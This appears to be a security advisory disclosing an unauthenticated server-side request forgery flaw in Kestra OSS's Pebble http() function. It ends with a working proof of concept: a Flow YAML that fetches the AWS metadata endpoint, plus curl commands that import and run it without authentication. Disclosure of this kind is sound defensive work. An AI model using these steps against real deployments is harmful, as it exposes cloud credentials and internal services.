The Pebble template engine's http() function in Kestra OSS accepts user-controlled URLs without any validation, allowing Server-Side Request Forgery (SSRF) attacks. An unauthenticated attacker can import a malicious Flow YAML and execute it to access internal services, cloud metadata endpoints (AWS 169.254.169.254), or localhost services. The vulnerability affects all Kestra OSS deployments with default configuration.
The root cause is in core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java (lines 77-106):
URI.create() with no checks for private IPs, internal hosts, or restricted schemesfile://, gopher:// schemes are not blockedTenantValidationFilter.java only checks tenant == "main" — no authenticationHttpFunction is registered without any feature flags in Extension.java:180Prerequisites:
docker run -d --name kestra-ssrf -p 8080:8080 kestra/kestra:latest server local
sleep 30
Step 1: Create malicious Flow YAML
cat > /tmp/ssrf_poc.yaml << 'YAML'
id: ssrf_metadata
namespace: company.team
tasks:
- id: exfiltrate
type: io.kestra.plugin.core.log.Log
message: |
{{ http(uri='http://169.254.169.254/latest/meta-data/', method='GET') }}
YAML
Step 2: Import without authentication
curl -X POST http://localhost:8080/api/v1/main/flows/import \
-F "fileUpload=@/tmp/ssrf_poc.yaml"
Step 3: Execute the flow
curl -X POST http://localhost:8080/api/v1/main/executions/company.team/ssrf_metadata
Step 4: Verify — the flow execution output contains AWS EC2 metadata (ami-id, instance-type, IAM credentials if available)
{
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-17T17:15:50Z",
"nvd_published_at": "2026-08-11T22:19:05Z",
"severity": "HIGH"
}